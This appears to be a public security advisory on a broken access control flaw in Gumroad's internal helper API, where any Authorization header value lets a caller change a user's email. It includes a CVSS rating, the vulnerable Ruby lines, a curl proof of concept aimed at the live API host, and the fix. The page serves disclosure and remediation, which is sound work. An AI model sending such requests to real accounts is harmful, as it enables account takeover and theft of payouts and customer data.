← Findings
Gumroad·2025

0-click Account Takeover and Admin Operations via helper endpoint authorization bypass

CriticalPublic fix

Summary

Broken Access Control allows unauthenticated email updates via Helper API

The helper endpoint responsible for updating user email addresses performs a sensitive account mutation without performing any authentication or authorization beyond confirming that an Authorization header exists. Api::Internal::Helper::BaseController#verify_authorization_header! only checks for the header’s presence and does not enforce a signature, token, or identity check unless an action explicitly invokes authorize_hmac_signature! or authorize_helper_token!. The UsersController never calls either method, leaving POST /api/internal/helper/users/update_email callable by any unauthenticated client that supplies an arbitrary header (e.g., Authorization: foo).

An attacker can submit current_email and new_email parameters for any account, causing the controller to look up the target user via User.alive.by_email and set user.email = params[:new_email] with no ownership verification. Persisting the change allows the attacker to initiate password resets to the new email address, effectively taking over the victim’s account. This is a direct broken access control vulnerability with high impact on account integrity and confidentiality.

CVSS

Vector:NComplexity:LPrivileges:NUser interaction:NScope:UConfidentiality:LIntegrity:HAvailability:L

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L

Source → Sink

app/controllers/api/internal/helper/users_controller.rb

Line 247 · update_email

app/controllers/api/internal/helper/users_controller.rb

Line 258 · update_email

Attack surface

Publicly accessible API endpoint /api/internal/helper/users/update_email on api.gumroad.com.

Preconditions

Network access to the API endpoint. No valid credentials or secrets are required—only an Authorization header with any arbitrary value.

Impact

Full account takeover, access to private sales data, payout redirection, customer records, and ability to impersonate the victim. Attack is remote, unauthenticated, and repeatable.

Exploit path

How the issue forms.

01app/controllers/api/internal/helper/users_controller.rb:258

User lookup is driven directly by attacker-controlled current_email.

RUBY
user = User.alive.by_email(params[:current_email]).first
02app/controllers/api/internal/helper/users_controller.rb:260

Attacker-controlled new_email is assigned to victim user without ownership checks.

RUBY
user.email = params[:new_email]
03app/controllers/api/internal/helper/users_controller.rb:261

Saving persists the unauthorized email change.

RUBY
if user.save
04app/controllers/api/internal/helper/users_controller.rb:262

Controller confirms success to attacker, completing takeover path.

RUBY
render json: { message: "Email updated." }

Proof of concept

Reproduction.

Environment

Requirements: OS: Ubuntu 22.04 LTS or macOS 14. Packages: git ruby-full nodejs npm postgresql curl jq.

Clone & Install:

BASH
git clone https://github.com/antiwork/gumroad.git
cd gumroad
bundle install
npm install

Database & Secrets:

BASH
bin/rails db:setup
cp .env.example .env.development
# ensure HELPERS tokens are set if needed for app boot

Configuration

Start the Rails server:

BASH
bin/rails server -p 3000

Ensure a test user exists (replace with real email in production):

BASH
bin/rails console
User.create!(email: "[email protected]", password: "Password1", name: "Victim", confirmed_at: Time.current)
exit

Delivery

Because the endpoint only checks for header presence, any arbitrary value suffices.

BASH
curl -X POST 'https://api.gumroad.com/internal/helper/users/update_email' \
  -H 'Authorization: totally-fake' \
  -H 'Content-Type: application/json' \
  -d '{
        "current_email": "[email protected]",
        "new_email": "[email protected]"
      }'

Outcome

The attacker gains full control over the victim’s Gumroad account by hijacking the email address and resetting the password, compromising confidential data and payouts.

Remediation

Guidance.

Sensitive helper endpoints must require a verifiable credential. The preferred control is the helper token/HMAC checks already implemented but unused in UsersController. Applying authorize_helper_token! (or HMAC) to write actions ensures only trusted Helper tooling can mutate user data.

Before

TEXT

After

TEXT
before_action :authorize_helper_token!, only: [:update_email, :update_two_factor_authentication_enabled, :create_appeal]

Continue

If this is the bar, see the platform.

The archive is public. The product makes this repeatable.

View findings